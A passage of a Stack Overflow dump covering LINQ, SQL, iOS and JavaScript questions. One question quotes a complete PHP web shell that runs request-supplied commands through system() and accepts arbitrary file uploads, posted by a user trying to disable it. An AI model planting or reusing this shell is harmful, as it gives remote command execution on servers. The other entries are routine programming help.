$results = mysql_query($query, $connection);
$values = mysql_fetch_assoc($results);
$num_rows = $values['total'];
```
|
214,426 |
<p>I want to check if a given date is more than a month earlier than today's date using LINQ.</p>
<p>What is the syntax for this?</p>
<p>Thanks in advance.</p>
|
[
{
"answer_id": 214442,
"author": "tvanfosson",
"author_id": 12950,
"author_profile": "https://Stackoverflow.com/users/12950",
"pm_score": 6,
"selected": true,
"text": "<p>I assume that you're talking about in the where clause. It's basically the same way you would compare two DateTime objects elsewhere.</p>\n\n<pre><code>using (DataContext context = new DataContext()) {\n var query = from t in context.table\n where t.CreateDate.Date < DateTime.Today.AddMonths(-1)\n select t;\n}\n</code></pre>\n"
},
{
"answer_id": 8899405,
"author": "live-love",
"author_id": 436341,
"author_profile": "https://Stackoverflow.com/users/436341",
"pm_score": 3,
"selected": false,
"text": "<p>Just to add, in LINQ To Entities you have to compare to a variable. Example:</p>\n\n<pre><code> DateTime lastMonth = DateTime.Today.AddMonths(-1);\n using (var db = new MyEntities())\n {\n var query = from s in db.ViewOrTable\n orderby s.ColName\n where (s.StartDate > lastMonth)\n select s;\n\n _dsResults = query.ToList();\n }\n</code></pre>\n"
},
{
"answer_id": 44141564,
"author": "Pallavi",
"author_id": 4115214,
"author_profile": "https://Stackoverflow.com/users/4115214",
"pm_score": 2,
"selected": false,
"text": "<p>If you don't want your code to throw </p>\n\n<pre><code>LINQ to Entities does not recognize the method 'System.DateTime AddYears(Int32)' method, and this method cannot be translated into a store expression.\n</code></pre>\n\n<p>I would suggest using DbFunctions.AddYears. Also, if you are concerned only about dates and not the times, you could use DbFunctions.TruncateTime</p>\n\n<p>Something like this-</p>\n\n<pre><code>DbFunctions.TruncateTime(x.date) ==\nDbFunctions.TruncateTime(DbFunctions.AddYears(DateTime.Today, 1))\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214426",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8783/"
] |
I want to check if a given date is more than a month earlier than today's date using LINQ.
What is the syntax for this?
Thanks in advance.
|
I assume that you're talking about in the where clause. It's basically the same way you would compare two DateTime objects elsewhere.
```
using (DataContext context = new DataContext()) {
var query = from t in context.table
where t.CreateDate.Date < DateTime.Today.AddMonths(-1)
select t;
}
```
|
214,427 |
<p>There are two Databases, Database A has a table A with columns of id, group and flag. Database B has a table B with columns of ID and flag. Table B is essentially a subset of table A <code>where the group == 'B'</code>. </p>
<p>They are updated/created in odd ways that are outside my understanding at this time, and are beyond the scope of this question (this is not the time to fix the basic setup and practices of this client). </p>
<p>The problem is that when the flag in Table A is updated, it is not reflected in table B, but should be. This is not a time-critical problem, so it was suggested I create a job to handle this. Maybe because it's the end of the week, or maybe because I've never written more than the most basic stored procedure (I'm a programmer, not a DBA), but I'm not sure how to go about this.</p>
<p>At a simplistic level, the stored procedure would be something along of the lines of</p>
<pre><code>Select * in table A where group == B
</code></pre>
<p>Then, loop through the <code>resultset</code>, and for each id, update the flag.</p>
<p>But I'm not even sure how to loop in a <code>stored procedure</code> like this. Suggestions? Example code would be preferred.</p>
<p><strong>Complication:</strong> Alright, this gets a little harder too. For every group, Table B is in a separate database, and we need to update this flag for all groups. So, we would have to set up a separate trigger for each group to handle each DB name.</p>
<p>And yes, inserts to Table B are already handled - this is just to update flag status.</p>
|
[
{
"answer_id": 214475,
"author": "tvanfosson",
"author_id": 12950,
"author_profile": "https://Stackoverflow.com/users/12950",
"pm_score": 1,
"selected": false,
"text": "<p>Create an update trigger on table A that pushes the necessary changes to B as A is modified.</p>\n\n<p>Basically (syntax may not be correct, I can't check it right now). I seem to recall that the inserted table contains all of the updated rows on an update, but you may want to check this to make sure. I think the trigger is the way to go, though.</p>\n\n<pre><code>create trigger update_b_trigger\non Table_A\nfor update\nas\nbegin\n update Table_B\n set Table_B.flag = inserted.flag\n from inserted\n inner join Table_B\n on inserted.id = Table_B.id \n and inserted.group = 'B'\n and inserted.flag <> Table_B.flag\nend\n</code></pre>\n\n<p>[EDIT] I'm assuming that inserts/deletes to Table B are already handled and it's just flag updates to Table B that need to be addressed.</p>\n"
},
{
"answer_id": 214524,
"author": "Matt",
"author_id": 4154,
"author_profile": "https://Stackoverflow.com/users/4154",
"pm_score": 2,
"selected": false,
"text": "<p>Assuming that ID is a unique key, and that you can use linked servers or some such to run a query across servers, this SQL statement should work (it works for two tables on the same server).</p>\n\n<pre><code>UPDATE Table_B\nSET Table_B.Flag = Table_A.Flag\nFROM Table_A inner join Table_B on Table_A.id = Table_B.id\n</code></pre>\n\n<p>(since Table_B already contains the subset of rows from Table_A where group = B, we don't have to include this condition in our query)</p>\n\n<p>If you can't use linked servers, then I might try to do it with some sort of SSIS package. Or I'd use the method described in the <a href=\"https://stackoverflow.com/questions/149132/how-can-one-iterate-over-stored-procedure-results-from-within-another-stored-pr\">linked question (comments, above)</a> to get the relevant data from Database A into a temp table etc. in Database B, and then run this query using the temp table.</p>\n"
},
{
"answer_id": 216309,
"author": "Tomas Tintera",
"author_id": 15136,
"author_profile": "https://Stackoverflow.com/users/15136",
"pm_score": 2,
"selected": false,
"text": "<pre><code>UPDATE \n DatabaseB.dbo.Table_B\nSET \n DatabaseB.dbo.Table_B.[Flag] = DatabaseA.dbo.Table_A.Flag\nFROM \n DatabaseA.dbo.Table_A inner join DatabaseB.dbo.Table_B B \n on DatabaseA.dbo.id = DatabaseB.dbo.B.id\n</code></pre>\n\n<p>Complication:\nFor sevaral groups run one such update SQL per group.</p>\n\n<p>Note you can use Flag without []. I'm using the brackets only because of syntax coloring on stackoverflow.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214427",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2130/"
] |
There are two Databases, Database A has a table A with columns of id, group and flag. Database B has a table B with columns of ID and flag. Table B is essentially a subset of table A `where the group == 'B'`.
They are updated/created in odd ways that are outside my understanding at this time, and are beyond the scope of this question (this is not the time to fix the basic setup and practices of this client).
The problem is that when the flag in Table A is updated, it is not reflected in table B, but should be. This is not a time-critical problem, so it was suggested I create a job to handle this. Maybe because it's the end of the week, or maybe because I've never written more than the most basic stored procedure (I'm a programmer, not a DBA), but I'm not sure how to go about this.
At a simplistic level, the stored procedure would be something along of the lines of
```
Select * in table A where group == B
```
Then, loop through the `resultset`, and for each id, update the flag.
But I'm not even sure how to loop in a `stored procedure` like this. Suggestions? Example code would be preferred.
**Complication:** Alright, this gets a little harder too. For every group, Table B is in a separate database, and we need to update this flag for all groups. So, we would have to set up a separate trigger for each group to handle each DB name.
And yes, inserts to Table B are already handled - this is just to update flag status.
|
Assuming that ID is a unique key, and that you can use linked servers or some such to run a query across servers, this SQL statement should work (it works for two tables on the same server).
```
UPDATE Table_B
SET Table_B.Flag = Table_A.Flag
FROM Table_A inner join Table_B on Table_A.id = Table_B.id
```
(since Table\_B already contains the subset of rows from Table\_A where group = B, we don't have to include this condition in our query)
If you can't use linked servers, then I might try to do it with some sort of SSIS package. Or I'd use the method described in the [linked question (comments, above)](https://stackoverflow.com/questions/149132/how-can-one-iterate-over-stored-procedure-results-from-within-another-stored-pr) to get the relevant data from Database A into a temp table etc. in Database B, and then run this query using the temp table.
|
214,431 |
<p>A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script:</p>
<pre><code><?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
<?php
if(isset($_REQUEST['upload'])) {
echo '<form enctype="multipart/form-data" action=".config.php?send" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="5120000" />
Send this file: <input name="userfile" type="file" />
To here: <input type="text" name="direct" value="/home/chriskan/public_html/_phx2600/wp-content/???" />
<input type="submit" value="Send File" />
</form>';
}
?>
<?php
if(isset($_REQUEST['send'])) {
$uploaddir = $_POST["direct"];
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n"; echo $uploaddir;
} else {
echo "Upload failed";
}
}
?>
</code></pre>
<p>This script allows him to process commands through in-URL variables.</p>
<p>I have disabled system, among other functions, in the php.ini file in my public_html directory. This will prevent the script from running if it's located within my public_html directory, but doesn't stop it if it's in a sub-directory of that. If I copy the php.ini file into a sub-directory it will stop it from running from that directory.</p>
<p>My question is, <strong>how do I enable my php.ini file to affect all directories/sub-directories of my server?</strong></p>
|
[
{
"answer_id": 214438,
"author": "acrosman",
"author_id": 24215,
"author_profile": "https://Stackoverflow.com/users/24215",
"pm_score": 1,
"selected": false,
"text": "<p>One, kick off a \"friend\" that chooses to run scripts like this.</p>\n\n<p>Then worry about securing your server. Your system has a master php.ini somewhere (often /etc/php.ini, but if can be in several places, check php_info()). That file controls the default settings for your server. Also, you can block local settings files that allow overrides. </p>\n"
},
{
"answer_id": 214450,
"author": "mauriciopastrana",
"author_id": 547,
"author_profile": "https://Stackoverflow.com/users/547",
"pm_score": 1,
"selected": false,
"text": "<p>Wow! move the php.ini file on a per-directory basis? Didnt know you could do that.</p>\n\n<p>My best guess (someone please correct me if im wrong), php probably overrides the global php.ini file with a local set of rules on a per-directory basis (much like .htaccess), so basically all you would need to do is to update your php.ini directives to the global php.ini (found here in ubuntu: etc/php5/apache2/php.ini)</p>\n\n<p>Alternatively, you might want to try to use .htaccess to prepend a php page onto all pages with the following:</p>\n\n<pre><code>ini_set('your_directive')\n</code></pre>\n\n<p>Of course, make sure the .htaccess which calls the prepend php sits at the root, else you're stuck with the same issue.</p>\n\n<p>/mp</p>\n"
},
{
"answer_id": 214499,
"author": "PHLAK",
"author_id": 27025,
"author_profile": "https://Stackoverflow.com/users/27025",
"pm_score": 1,
"selected": true,
"text": "<p>Thanks guys, your answers were great, but the answer was right under my nose the entire time. Via cPanel I was able to edit my server to use a single php.ini file.</p>\n"
},
{
"answer_id": 909700,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>Are you sure? I wish I had your ISP. By default <em>some</em> ISPs will provide a local copy of the ini file in public_html to allow overrides. But cPanel usually only provides a reference of the server-wide defaults.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214431",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27025/"
] |
A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script:
```
<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
<?php
if(isset($_REQUEST['upload'])) {
echo '<form enctype="multipart/form-data" action=".config.php?send" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="5120000" />
Send this file: <input name="userfile" type="file" />
To here: <input type="text" name="direct" value="/home/chriskan/public_html/_phx2600/wp-content/???" />
<input type="submit" value="Send File" />
</form>';
}
?>
<?php
if(isset($_REQUEST['send'])) {
$uploaddir = $_POST["direct"];
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n"; echo $uploaddir;
} else {
echo "Upload failed";
}
}
?>
```
This script allows him to process commands through in-URL variables.
I have disabled system, among other functions, in the php.ini file in my public\_html directory. This will prevent the script from running if it's located within my public\_html directory, but doesn't stop it if it's in a sub-directory of that. If I copy the php.ini file into a sub-directory it will stop it from running from that directory.
My question is, **how do I enable my php.ini file to affect all directories/sub-directories of my server?**
|
Thanks guys, your answers were great, but the answer was right under my nose the entire time. Via cPanel I was able to edit my server to use a single php.ini file.
|
214,441 |
<p>I would like to show a set of consecutive numbers in a UIPickerView component but have it wrap around like the seconds component of the Clock->Timer application. The only behavior I can enable looks like the hours component of the Timer application, where you can scroll in only one direction.</p>
|
[
{
"answer_id": 221955,
"author": "David",
"author_id": 28275,
"author_profile": "https://Stackoverflow.com/users/28275",
"pm_score": 5,
"selected": false,
"text": "<p>I found my answer here:</p>\n\n<p><a href=\"http://forums.macrumors.com/showthread.php?p=6120638&highlight=UIPickerView#post6120638\" rel=\"noreferrer\">http://forums.macrumors.com/showthread.php?p=6120638&highlight=UIPickerView#post6120638</a></p>\n\n<p>When it asks for the title of a row, give it:\nCode:</p>\n\n<pre><code>return [rows objectAtIndex:(row % [rows count])];\n</code></pre>\n\n<p>When it says the user didSelectRow:inComponent:, use something like this:</p>\n\n<p>Code:</p>\n\n<pre><code>//we want the selection to always be in the SECOND set (so that it looks like it has stuff before and after)\nif (row < [rows count] || row >= (2 * [rows count]) ) {\n row = row % [rows count];\n row += [rows count];\n [pickerView selectRow:row inComponent:component animated:NO];\n}\n</code></pre>\n\n<p>It appears that the UIPickerView does not support wrapping around natively, but you can fool it by inserting more sets of data to be displayed and when the picker stops, centering the component to the middle of the data set.</p>\n"
},
{
"answer_id": 367436,
"author": "squelart",
"author_id": 42690,
"author_profile": "https://Stackoverflow.com/users/42690",
"pm_score": 7,
"selected": true,
"text": "<p>It's just as easy to set the number of rows to a large number, and make it start at a high value, there's little chance that the user will ever scroll the wheel for a very long time -- And even then, the worse that will happen is that they'll hit the bottom.</p>\n\n<pre><code>- (NSInteger)pickerView:(UIPickerView *)pickerView numberOfRowsInComponent:(NSInteger)component {\n // Near-infinite number of rows.\n return NSIntegerMax;\n}\n\n- (NSString *)pickerView:(UIPickerView *)pickerView titleForRow:(NSInteger)row forComponent:(NSInteger)component {\n // Row n is same as row (n modulo numberItems).\n return [NSString stringWithFormat:@\"%d\", row % numberItems];\n}\n\n- (void)viewDidLoad {\n [super viewDidLoad];\n\n self.pickerView = [[[UIPickerView alloc] initWithFrame:CGRectZero] autorelease];\n // ...set pickerView properties... Look at Apple's UICatalog sample code for a good example.\n // Set current row to a large value (adjusted to current value if needed).\n [pickerView selectRow:currentValue+100000 inComponent:0 animated:NO];\n [self.view addSubview:pickerView];\n}\n\n- (void)pickerView:(UIPickerView *)pickerView didSelectRow:(NSInteger)row inComponent:(NSInteger)component {\n NSInteger actualRow = row % numberItems;\n // ...\n}\n</code></pre>\n"
},
{
"answer_id": 30428669,
"author": "user2912794",
"author_id": 2912794,
"author_profile": "https://Stackoverflow.com/users/2912794",
"pm_score": 0,
"selected": false,
"text": "<p>Just create an array multiple times, so that you have your numbers multiple times. Lets say when want to have the numbers from 0 to 23 and put that in an array. that we will do 10 times like this...</p>\n\n<pre><code>NSString *stdStepper;\n\n for (int j = 0; j<10; j++) {\n for(int i=0; i<24; i++)\n {\n stdStepper = [NSString stringWithFormat:@\"%d\", i];\n\n [_hoursArray addObject:stdStepper];\n\n }\n }\n</code></pre>\n\n<p>later we set the row 0 selected like this</p>\n\n<pre><code>[_hoursPickerView selectRow:120 inComponent:0 animated:NO];\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214441",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/28275/"
] |
I would like to show a set of consecutive numbers in a UIPickerView component but have it wrap around like the seconds component of the Clock->Timer application. The only behavior I can enable looks like the hours component of the Timer application, where you can scroll in only one direction.
|
It's just as easy to set the number of rows to a large number, and make it start at a high value, there's little chance that the user will ever scroll the wheel for a very long time -- And even then, the worse that will happen is that they'll hit the bottom.
```
- (NSInteger)pickerView:(UIPickerView *)pickerView numberOfRowsInComponent:(NSInteger)component {
// Near-infinite number of rows.
return NSIntegerMax;
}
- (NSString *)pickerView:(UIPickerView *)pickerView titleForRow:(NSInteger)row forComponent:(NSInteger)component {
// Row n is same as row (n modulo numberItems).
return [NSString stringWithFormat:@"%d", row % numberItems];
}
- (void)viewDidLoad {
[super viewDidLoad];
self.pickerView = [[[UIPickerView alloc] initWithFrame:CGRectZero] autorelease];
// ...set pickerView properties... Look at Apple's UICatalog sample code for a good example.
// Set current row to a large value (adjusted to current value if needed).
[pickerView selectRow:currentValue+100000 inComponent:0 animated:NO];
[self.view addSubview:pickerView];
}
- (void)pickerView:(UIPickerView *)pickerView didSelectRow:(NSInteger)row inComponent:(NSInteger)component {
NSInteger actualRow = row % numberItems;
// ...
}
```
|
214,491 |
<p>I'm working with a JavaScript API where most of the functions are asynchronous. The API is the <a href="http://webkit.org/blog/126/webkit-does-html5-client-side-database-storage/" rel="noreferrer">WebKit JavaScript Database API</a> which is a binding to a subset of functionality to manipulate SQLite3 databases. I understand the design decision to make things async as to not block and provide a responsive user interface. In my situation I know that my usage of the async API calls will execute fast. Since this is the case I'd like to provide my developers a cleaner and easier to use wrapper API that forces synchronous calls.</p>
<p>Here's the async call</p>
<pre><code>db.executeSql(sqlStatement, function(result) {
// do something with result
});
</code></pre>
<p>And here's what I'd like to be able to do</p>
<pre><code>var result = dbWrapper.executeSql(sqlStatement);
// do something with result
</code></pre>
<p>Is there a design pattern/way to do this? A written or linked to code example is preferred. The target platform/broswer is Mobile Safari on the iPhone.</p>
<p>Thank you</p>
|
[
{
"answer_id": 214928,
"author": "Moran Helman",
"author_id": 1409636,
"author_profile": "https://Stackoverflow.com/users/1409636",
"pm_score": 1,
"selected": false,
"text": "<p>if you are using jQuery Ajax :\n $.ajax() </p>\n\n<p>you can set the attribute of asynch to false ,\nand then you will have a synch ajax request to the server. </p>\n"
},
{
"answer_id": 214973,
"author": "johnstok",
"author_id": 27929,
"author_profile": "https://Stackoverflow.com/users/27929",
"pm_score": 1,
"selected": false,
"text": "<p>We are using GWT RPC which also has an async API. The solution that we are currently using to make several async calls in serial is call chaining:</p>\n\n<pre><code>callA(function(resultA) {\n callB(resultA, function(resultB) {\n callC(); //etc.\n });\n});\n</code></pre>\n\n<p>This nested approach achieves what you want but it is verbose and hard to read for newcomers. One of the approaches that we have investigated is adding the calls that we need to make to a stack and executing them in order:</p>\n\n<pre><code>callStack = [\n callA(),\n callB(),\n callC()\n];\n\ncallStack.execute();\n</code></pre>\n\n<p>Then the callstack would manage:</p>\n\n<ol>\n<li>Invoking the calls in serial (i.e. the wiring in the first example)</li>\n<li>Passing the result from one call forward to the next.</li>\n</ol>\n\n<p>However, because Java doesn't have function references, each call on the call stack would require an anonymous class so we stopped short of such a solution. However, you may have more success in javascript.</p>\n\n<p>Good luck!</p>\n"
},
{
"answer_id": 214980,
"author": "bobince",
"author_id": 18936,
"author_profile": "https://Stackoverflow.com/users/18936",
"pm_score": 3,
"selected": false,
"text": "<p>Sorry, JavaScript does not provide the language primitives (eg. threads or coroutines) to make asynchronous things act synchronously or vice-versa.</p>\n\n<p>You generally* get one thread of execution only, so you can't get a callback from a timer or XMLHttpRequest readystatechange until the stack of calls leading to the creation of the request has completely unravelled.</p>\n\n<p>So in short, you can't really do it; the approach with nested closures on the WebKit page you linked is the only way I know of to make the code readable in this situation.</p>\n\n<p>*: except in some obscure situations which wouldn't help you and are generally considered bugs</p>\n"
},
{
"answer_id": 2004054,
"author": "Mike Gleason jr Couturier",
"author_id": 193982,
"author_profile": "https://Stackoverflow.com/users/193982",
"pm_score": 2,
"selected": false,
"text": "<p>You can try something like:</p>\n\n<pre><code>function synch()\n{\n var done = false;\n var returnVal = undefined;\n\n // asynch takes a callback method\n // that is called when done\n asynch(function(data) {\n returnVal = data;\n done = true;\n });\n\n while (done == false) {};\n return returnVal;\n}\n</code></pre>\n\n<p>But that may freeze your browser for the duration of the asynch method...</p>\n\n<p>Or take a look at Narrative JavaScript: <em>Narrative JavaScript is a small extension to the JavaScript language that enables blocking capabilities for asynchronous event callbacks. This makes asynchronous code refreshingly readable and comprehensible.</em> </p>\n\n<p><a href=\"http://neilmix.com/narrativejs/doc/index.html\" rel=\"nofollow noreferrer\">http://neilmix.com/narrativejs/doc/index.html</a></p>\n\n<p>Mike</p>\n"
},
{
"answer_id": 4642806,
"author": "Andrew Shooner",
"author_id": 186501,
"author_profile": "https://Stackoverflow.com/users/186501",
"pm_score": 0,
"selected": false,
"text": "<p>This doesn't actually implement synchronous operation of the db query, but this was my solution for easy management. Basically use the calling function as the callback function, and test for the results argument. If the function receives results, it parses them, if not, it sends itself as a callback to the query method.</p>\n\n<pre><code> render: function(queryResults){\n if (typeof queryResults != 'undefined'){\n console.log('Query completed!');\n //do what you will with the results (check for query errors here)\n\n } else {\n console.log('Beginning query...');\n this.db.read(this.render); //db.read is my wrapper method for the sql db, and I'm sending this render method as the callback.\n }\n }\n</code></pre>\n"
},
{
"answer_id": 4681514,
"author": "tomg",
"author_id": 455118,
"author_profile": "https://Stackoverflow.com/users/455118",
"pm_score": 3,
"selected": false,
"text": "<p>StratifiedJS allows you to do exactly that.</p>\n\n<p>There's even an article on how to apply it on browser storage:\n<a href=\"http://onilabs.com/blog/stratifying-asynchronous-storage\" rel=\"noreferrer\">http://onilabs.com/blog/stratifying-asynchronous-storage</a></p>\n\n<p>And this is the Stratified JavaScript library it uses <a href=\"https://gist.github.com/613526\" rel=\"noreferrer\">https://gist.github.com/613526</a></p>\n\n<p>The example goes like:</p>\n\n<pre><code>var db = require(\"webdatabase\").openDatabase(\"CandyDB\", ...);\ntry {\n var kids = db.executeSql(\"SELECT * FROM kids\").rows;\n db.executeSql(\"INSERT INTO kids (name) VALUES (:name);\", [kids[0]]);\n alert(\"done\");\n} catch(e) {\n alert(\"something went wrong\");\n}\n</code></pre>\n\n<p>maybe a bit late, but the tech didn't exist back then ;)</p>\n"
},
{
"answer_id": 4808776,
"author": "vsingh",
"author_id": 156522,
"author_profile": "https://Stackoverflow.com/users/156522",
"pm_score": 0,
"selected": false,
"text": "<p>I am not sure if this is the right place but I cam here searching for answers to making an synchronous calls in Firefox. the solution would be to remove onreadystatechange callback and do a direct call.\nThis is what I had found and my solution \n<a href=\"http://www.skill-guru.com/blog/2011/01/26/synchronous-calls-with-rest-service/\" rel=\"nofollow\">synchronous call back with rest service</a></p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214491",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29148/"
] |
I'm working with a JavaScript API where most of the functions are asynchronous. The API is the [WebKit JavaScript Database API](http://webkit.org/blog/126/webkit-does-html5-client-side-database-storage/) which is a binding to a subset of functionality to manipulate SQLite3 databases. I understand the design decision to make things async as to not block and provide a responsive user interface. In my situation I know that my usage of the async API calls will execute fast. Since this is the case I'd like to provide my developers a cleaner and easier to use wrapper API that forces synchronous calls.
Here's the async call
```
db.executeSql(sqlStatement, function(result) {
// do something with result
});
```
And here's what I'd like to be able to do
```
var result = dbWrapper.executeSql(sqlStatement);
// do something with result
```
Is there a design pattern/way to do this? A written or linked to code example is preferred. The target platform/broswer is Mobile Safari on the iPhone.
Thank you
|
Sorry, JavaScript does not provide the language primitives (eg. threads or coroutines) to make asynchronous things act synchronously or vice-versa.
You generally\* get one thread of execution only, so you can't get a callback from a timer or XMLHttpRequest readystatechange until the stack of calls leading to the creation of the request has completely unravelled.
So in short, you can't really do it; the approach with nested closures on the WebKit page you linked is the only way I know of to make the code readable in this situation.
\*: except in some obscure situations which wouldn't help you and are generally considered bugs
|
214,500 |
<p>LINQ is one of the greatest improvements to .NET since generics and it saves me tons of time, and lines of code. However, the fluent syntax seems to come much more natural to me than the query expression syntax.</p>
<pre><code>var title = entries.Where(e => e.Approved)
.OrderBy(e => e.Rating).Select(e => e.Title)
.FirstOrDefault();
var query = (from e in entries
where e.Approved
orderby e.Rating
select e.Title).FirstOrDefault();
</code></pre>
<p>Is there any difference between the two or is there any particular benefit of one over other?</p>
|
[
{
"answer_id": 214506,
"author": "Kozyarchuk",
"author_id": 52490,
"author_profile": "https://Stackoverflow.com/users/52490",
"pm_score": 3,
"selected": false,
"text": "<p>Fluent syntax does seem more powerful indeed, it should also work better for organizing code into small reusable methods.</p>\n"
},
{
"answer_id": 214526,
"author": "James Curran",
"author_id": 12725,
"author_profile": "https://Stackoverflow.com/users/12725",
"pm_score": 4,
"selected": false,
"text": "<p>The fluent interface if there's just a where. If I need a select or orderby, I generally use the Query syntax.</p>\n"
},
{
"answer_id": 214530,
"author": "Christian C. Salvadó",
"author_id": 5445,
"author_profile": "https://Stackoverflow.com/users/5445",
"pm_score": 2,
"selected": false,
"text": "<p>I really like the Fluent syntax and I try to use it where I can, but in certain cases, for example where I use joins, I usually prefer the Query syntax, in those cases I find it easier to read, and I think some people are more familiar to Query (SQL-like) syntax, than lambdas.</p>\n"
},
{
"answer_id": 214563,
"author": "LizB",
"author_id": 13616,
"author_profile": "https://Stackoverflow.com/users/13616",
"pm_score": 2,
"selected": false,
"text": "<p>While I do understand and like the fluent format , I've stuck to Query for the time being for readability reasons. People just being introduced to LINQ will find Query much more comfortable to read.</p>\n"
},
{
"answer_id": 214596,
"author": "James Newton-King",
"author_id": 11829,
"author_profile": "https://Stackoverflow.com/users/11829",
"pm_score": 5,
"selected": false,
"text": "<p>Each style has their pros and cons. Query syntax is nicer when it comes to joins and it has the useful <a href=\"http://web.archive.org/web/20101105231052/http://spellcoder.com/blogs/bashmohandes/archive/2007/12/16/9212.aspx\" rel=\"noreferrer\">let</a> keyword that makes creating temporary variables inside a query easy.</p>\n\n<p>Fluent syntax on the other hand has a lot more methods and operations that aren't exposed through the query syntax. Also since they are just extension methods you can write your own.</p>\n\n<p>I have found that every time I start writing a LINQ statement using the query syntax I end up having to put it in parenthesis and fall back to using fluent LINQ extension methods. Query syntax just doesn't have enough features to use by itself.</p>\n"
},
{
"answer_id": 214610,
"author": "Jay Bazuzi",
"author_id": 5314,
"author_profile": "https://Stackoverflow.com/users/5314",
"pm_score": 6,
"selected": false,
"text": "<p>I prefer to use the latter (sometimes called \"query comprehension syntax\") when I can write the whole expression that way. </p>\n\n<pre><code>var titlesQuery = from e in entries\n where e.Approved\n orderby e.Rating\n select e.Titles;\n\nvar title = titlesQuery.FirstOrDefault();\n</code></pre>\n\n<p>As soon as I have to add (parentheses) and <code>.MethodCalls()</code>, I change.</p>\n\n<p>When I use the former, I usually put one clause per line, like this:</p>\n\n<pre><code>var title = entries\n .Where (e => e.Approved)\n .OrderBy (e => e.Rating)\n .Select (e => e.Title)\n .FirstOrDefault();\n</code></pre>\n\n<p>I find that a little easier to read.</p>\n"
},
{
"answer_id": 216044,
"author": "Steve T",
"author_id": 415,
"author_profile": "https://Stackoverflow.com/users/415",
"pm_score": 2,
"selected": false,
"text": "<p>I prefer the query syntax as I came from traditional web programming using SQL. It is much easier for me to wrap my head around. However, it think I will start to utilize the .Where(lambda) as it is definitely much shorter.</p>\n"
},
{
"answer_id": 597595,
"author": "Instance Hunter",
"author_id": 65393,
"author_profile": "https://Stackoverflow.com/users/65393",
"pm_score": 4,
"selected": false,
"text": "<p>I don't get the query syntax at all. There's just no reason for it in my mind. let can be acheived with .Select and anonymous types. I just think things look much more organized with the \"punctuation\" in there.</p>\n"
},
{
"answer_id": 620515,
"author": "Antony Scott",
"author_id": 62951,
"author_profile": "https://Stackoverflow.com/users/62951",
"pm_score": 2,
"selected": false,
"text": "<p>I've been using Linq for about 6 months now. When I first started using it I preferred the query syntax as it's very similar to T-SQL.</p>\n\n<p>But, I'm gradually coming round to the former now, as it's easy to write reusable chunks of code as extension methods and just chain them together. Although I do find putting each clause on its own line helps a lot with readability.</p>\n"
},
{
"answer_id": 823155,
"author": "Joe Albahari",
"author_id": 46223,
"author_profile": "https://Stackoverflow.com/users/46223",
"pm_score": 9,
"selected": true,
"text": "<p>Neither is better: they serve different needs. Query syntax comes into its own when you want to leverage <strong>multiple range variables</strong>. This happens in three situations:</p>\n\n<ul>\n<li>When using the let keyword</li>\n<li>When you have multiple generators (<em>from</em> clauses)</li>\n<li>When doing joins</li>\n</ul>\n\n<p>Here's an example (from the LINQPad samples):</p>\n\n<pre><code>string[] fullNames = { \"Anne Williams\", \"John Fred Smith\", \"Sue Green\" };\n\nvar query =\n from fullName in fullNames\n from name in fullName.Split()\n orderby fullName, name\n select name + \" came from \" + fullName;\n</code></pre>\n\n<p>Now compare this to the same thing in method syntax:</p>\n\n<pre><code>var query = fullNames\n .SelectMany (fName => fName.Split().Select (name => new { name, fName } ))\n .OrderBy (x => x.fName)\n .ThenBy (x => x.name)\n .Select (x => x.name + \" came from \" + x.fName);\n</code></pre>\n\n<p>Method syntax, on the other hand, exposes the full gamut of query operators and is more concise with simple queries. You can get the best of both worlds by mixing query and method syntax. This is often done in LINQ to SQL queries:</p>\n\n<pre><code>var query =\n from c in db.Customers\n let totalSpend = c.Purchases.Sum (p => p.Price) // Method syntax here\n where totalSpend > 1000\n from p in c.Purchases\n select new { p.Description, totalSpend, c.Address.State };\n</code></pre>\n"
},
{
"answer_id": 1262488,
"author": "Larsenal",
"author_id": 337,
"author_profile": "https://Stackoverflow.com/users/337",
"pm_score": 3,
"selected": false,
"text": "<p>I know this question is tagged with C#, but the Fluent syntax is painfully verbose with VB.NET.</p>\n"
},
{
"answer_id": 4322098,
"author": "Rodi",
"author_id": 526176,
"author_profile": "https://Stackoverflow.com/users/526176",
"pm_score": 2,
"selected": false,
"text": "<p>I have just set up our company's standards and we enforce the use of the Extension methods. I think it's a good idea to choose one over the other and don't mix them up in code. Extension methods read more like the other code.</p>\n\n<p>The comprehension syntax does not have all operators and using parentheses around the query and add extension methods after all just begs me for using extension methods from the start.</p>\n\n<p>But for the most part it is just personal preference with a few exceptions.</p>\n"
},
{
"answer_id": 9039282,
"author": "Tim Schmelter",
"author_id": 284240,
"author_profile": "https://Stackoverflow.com/users/284240",
"pm_score": 5,
"selected": false,
